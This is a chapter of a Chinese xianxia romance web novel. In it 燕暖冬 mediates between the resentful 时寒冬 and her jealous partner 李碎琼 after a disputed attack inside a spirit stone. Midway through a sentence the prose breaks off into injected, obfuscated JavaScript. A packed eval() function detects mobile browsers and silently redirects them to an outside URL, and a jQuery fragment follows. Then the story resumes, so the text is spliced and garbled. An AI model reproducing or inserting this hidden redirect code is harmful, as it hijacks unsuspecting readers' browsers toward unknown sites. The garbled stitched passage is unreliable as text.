江逸衍盯着时寒冬房间的方向看了许久,似是在沉思什么,随后,移开视线,面色凝重。
“我并未帮他,是他自己出来的。”
语落,燕暖冬心下一惊,也就是说,是寒冬自己杀了时寒冬?
她知道自己应该庆幸活下来的是寒冬,但时寒冬的实力,方才她是有目共睹的。
挽今朝、李碎琼、还有她,三个人轮流与他缠斗那么久,都拿他没有办法。
而寒冬是如何做到那么快就除掉时寒冬的?
其余人也纷纷看向时寒冬的房间……
碰巧此时,黑蛇化作人形醒了过来,由于他很虚弱,江逸衍看了眼时寒冬的房间,便转身来到黑蛇旁,先带着他离开了。
愉可期并未打算走,余下他们三人留在启周山。
燕暖冬与愉可期相视一眼,心照不宣来到时寒冬房门前,燕暖冬抬手轻轻敲了敲门。
“寒冬,你还好吗?”
“我不用你们假惺惺,都走!我不想看见你们任何人!”
屋里传来时寒冬的怒音。
见他如此,定然是跟方才在通灵石内发生的事情有关。
燕暖冬用关心的口吻问:“是不是江逸衍欺负你了?”
屋内传来一声冷哼,却不说话。
看来比欺负还要严重。
愉可期急忙道:“他怎么欺负你的?你告诉我,我帮你出气。”
又是一声冷笑,时寒冬:“好啊,那你去杀了他。”
闻言,燕暖冬与愉可期同时怔住。
方才江逸衍不是要去帮时寒冬,而是要杀了他?
怪不得他看起来那么失望。
“怎么不说话了?不是要替我出气吗?去呀!”
屋内又响起时寒冬的冷嘲热讽声。
愉可期拳头握得咯吱响,猛地转身就走,承诺道:“你等着,我现在就去问问他,让他给你一个说法。”
说罢,便头也不回地转身就走了。
余下燕暖冬一个人在他房门口。
而李碎琼此时已默默消化好情绪,无奈叹了口气,走到她跟前,听她继续喊话屋里时寒冬。
“寒冬,可期去找江逸衍去了,你别生气了,你出来,我们好好聊聊,好不好?”
屋里一阵沉默。
见他怨气未消,一向最受不了冷暴力的燕暖冬直问:“寒冬,你不会也生我的气吧?”
听燕暖冬一口一个‘寒冬’叫的亲密的李碎琼,眼眸逐渐暗沉,步入即将发疯的边缘。
房间里又静了片刻,时寒冬终于推开房门,白辰立在他身侧。
虽然他面色依旧很难看,但好歹肯出来了,燕暖冬面露喜色就要跟他搭话。
未料,他又看到她身旁似乎想将他大卸八块的李碎琼,脸上又布满怒火,‘哐当’一声又合上门。
燕暖冬脸上的笑容还僵在脸上,纳闷地看了眼身旁正冲她挑眉微笑的李碎琼。
又转首敲了敲门:“寒冬,怎么了又?”
时寒冬后背低着门,怒道:“怎么了?你问你身旁那位啊,我真是不明白了,我跟他到底有什么深仇大恨?他要一次次置我于死地。”
闻言,燕暖冬猛地一震,他说的李碎琼置他于死地明显不是指从前,而是指方才在通灵石内。
可是,李碎琼一直都在她身边啊,难道是分身术?
她疑惑地看向李碎琼,而李碎琼此时表情看起来比她还凝重。
时寒冬带着怨气的声音再次响起:“燕暖冬,我不指望你会为了我,而跟你的宝贝魔尊翻脸,但我求求你,至少别让他出现在我的面前,我算是怕了他了,可以吗?”
而李碎琼随着他的话落,面色又黑了好几度。
等他说罢,便直接拉着燕暖冬要离开启周山。
但燕暖冬不想离开,有些事情不问清楚,她心里总觉得不踏实。
“李碎琼,你先松开我,让我再问几个问题。”
她极力想要挣脱李碎琼的手,但他的力气很大,几乎是被他拖着走,直到走到院子里,她才挣脱束缚。
此时中日高悬,两人影子被拉的很长,一半倒映在围院的墙壁上,而李碎琼脸上的表情与此时的日照成了鲜明对比。
即便他整个身子都在阳光下,却给人一种立在阴影中的感觉。
见他这样,燕暖冬只好用商量的语气:“我们先把事情问清楚,再回去好不好?”
未料,李碎琼瞬间被她的话点燃。
”有什么好问的?他方才的话是什么意思你听不出来吗?但我听得出来,他就是想单独跟你待在一块,他做梦!”
燕暖冬继续商量:“那你就先回避一下下,我就……”
“我回避什么?凭什么让我回避?我回避后,好让他在你面前畅所欲言地编排我是吗?”
李碎琼不等她把话说完,直接打断她。
燕暖冬被他的话逗得哭笑不得,拉起他的手,试图跟他沟通。
“可是他刚刚说,在通灵石内你想杀他,这事太蹊跷了,我总要问清楚吧?”
此言一出,李碎琼垂眸不语,陷入沉思。
这在燕暖冬看来是默认,于是一边观察着他的神色,一边悄悄松开他的手。
似是察觉手上一松,李碎琼回过神,反手拉住燕暖冬的手,不让它逃离。
顺便晃了晃她的手,恰巧来了一阵风,影子反倒像被风吹动似得。
“那是他污蔑我,你知道的,我刚刚可是一直待在你身边,形影不离,他都敢当着我的面凭空捏造,陷害我,那要是背后还了得?”
他突然一副醍醐灌顶的神情。
“我知道了,燕暖冬,他太可怕了,他想要拆散我们,我们要赶紧离他远一点,咱们就去无名界吧,你觉得怎么样?”
看他这副样子,还又提到去无名界,看来他是真的很喜欢无名界。
这次回来,他提了许多次了。
燕暖冬忍着笑意,顺着他的话:“去无名界的事咱们先放一放,以后我肯定陪你去。但他这样说你,我肯定要问清楚,不能让他平白误会你,你说对不对?”
她的话说出口,李碎琼立马意识到,这次无论软硬对燕暖冬均无用,便眸色一暗,直勾勾看着她不说话。
再加上,方才他提议的成婚一事,燕暖冬躲躲闪闪的态度,他就浑身难受的发酸。
却始终对她无可奈何。
而燕暖冬见他又不说话,小心翼翼地抽开手:“那我去了?”
李碎琼做出一个毫无喜悦的微笑表情,双目半眯半弯:“去吧。”
说罢,收回笑容,转身就走。
燕暖冬看着他的背影,墨发扬起,像是被气得,步伐很快,在察觉到燕暖冬没追上来时,便慢了几步。
但又察觉出燕暖冬根本没打算追上来,顿了一瞬。
肩膀微微上下起伏,又加快步调频率,瞬间消失在原地。
看着他这副模样,燕暖冬心里也很不舒服,默默想着晚上回去好好给他道歉。
好在李碎琼这一走,燕暖冬也顺利让时寒冬走了出来。
两人来到启周山顶处长谈。
其实,细细想来,自从知道时寒冬先来这个世界三百多年一事后,她还从未与时寒冬好好聊过天。
晚冬中午的阳光还是很暖和的,即便是立在山顶,风也并不刺骨,反而有一阵暖意。
李碎琼隐去气息,又施了隐身术,悄然出现在他们身后不远处,看着他们被风缠到一起的发丝,阴鸷的双目被气得发红。
于是暗调灵力,止住风,但他们并肩站在一起的画面,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894574|188783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是格外刺眼。
喉咙也酸的不禁收紧,指尖几乎快陷进手心肉里。
都聊这么久了,还没聊完吗?跟他就有那么多的话要说吗?
此时,燕暖冬先开口说出第一句话:“其实,你该早点告诉我的,或许,我能早点帮你脱离时寒冬的控制。”
此言一出,时寒冬苦笑一声,摇头:“最艰难的那段日子已经熬过去了,说不说与我而言,已经不重要了。”
这句话,让燕暖冬沉默不语,联想许多。
也是煎熬的三百多年。
何况她还目睹了时寒冬想死却死不了的画面。
想到这里,她侧首看向他,轻声带着歉意问:“寒冬,你有没有怪过我?”
问出口时,时寒冬似乎怔住一瞬,微笑着看了过来,反问:“我说没有,你信吗?”
燕暖冬收回视线,牵起一抹自责的微笑,摇了摇头。
是啊,怎么可能不怪呢?
时寒冬侧眸看着她,眼中闪过一抹复杂情绪,最后长叹一口气。
正过头,目视前方:“燕暖冬,从前的事,就让它过去吧,我们都不要提了,好不好?”
他话里有话,燕暖冬一番挣扎之下,还是无法做到不问出口。
“可我有几件事,还是十分好奇。”
气氛沉了片刻,时寒冬突然笑出声,这声笑听不出什么意味:“你是想问,我是怎么杀死那个时寒冬的?”
不知为何,心中又生出一丝愧疚,燕暖冬没看时寒冬,诚实地点头。
时寒冬语气不冷不淡,解释:“你去过白辰意海,应该知道,无非是一半一半几率,而碰巧,活下来的是我。”
顿了顿,他自嘲一笑:“如今看来,我倒不如被时寒冬杀死,也免得被你们一个个怀疑。”
闻言,燕暖冬再次说不出话来,毕竟她是真的怀疑过身旁的时寒冬。
既然被拆穿,那便一次问个清楚。
沉默片刻,她横下心,看向时寒冬。
“死去的时寒冬为什么要灭通灵族?他为什么也想要得到寒魂血莲?”
若身旁的时寒冬想要得到寒魂血莲是为了脱离已经死去的时寒冬的身体,但种种往事说明,死去的时寒冬也是想要得到寒魂血莲的,否则他不会挑唆容熙和仙门众人围剿李碎琼。
时寒冬又看了过来,不过面色有些不快,还有不可思议。
“燕暖冬,方才李碎琼与江逸衍想联合将我封印在通灵石内,我以为,你至少会关心我一句,问一下我有没有受伤。”
“而你却总是紧抓着已死之人做的事不放,有意义吗?”
燕暖冬又一次沉默,不是非要紧抓着已死之人做的事不放,是这件事她既然决定要管,有些地方不问清楚,不理通顺,她便没法说服自己放下。
还有关于方才通灵石的事,也不是不想问,是还没问到这里。
不对,封印?
她猛地抬眸看向时寒冬:“他们要封印你?是怕那个时寒冬杀不死?可是,李碎琼方才一直在我身边,他根本就没有去通灵石啊。”
时寒冬深吸口气:“你难道不知他有分身之能吗?”
燕暖冬脱口而出:“但他说没有,他不会骗我。”
“所以就是我在骗你,是吗?”
时寒冬声线陡然拔高,带着不容置疑的审问。
见时寒冬生气,燕暖冬摇头:“没有,我是觉得此事有些蹊跷……”
“够了!”
时寒冬打断她,看起来又生气了几分,在隐忍着什么。
与燕暖冬四目相对许久,他红了眼,沉声开口,而话似乎从他的牙缝中挤出来的。
“燕暖冬,你方才问我,有没有怪过你,我现在就如实告诉你。”
“我何止怪你,我还恨你!”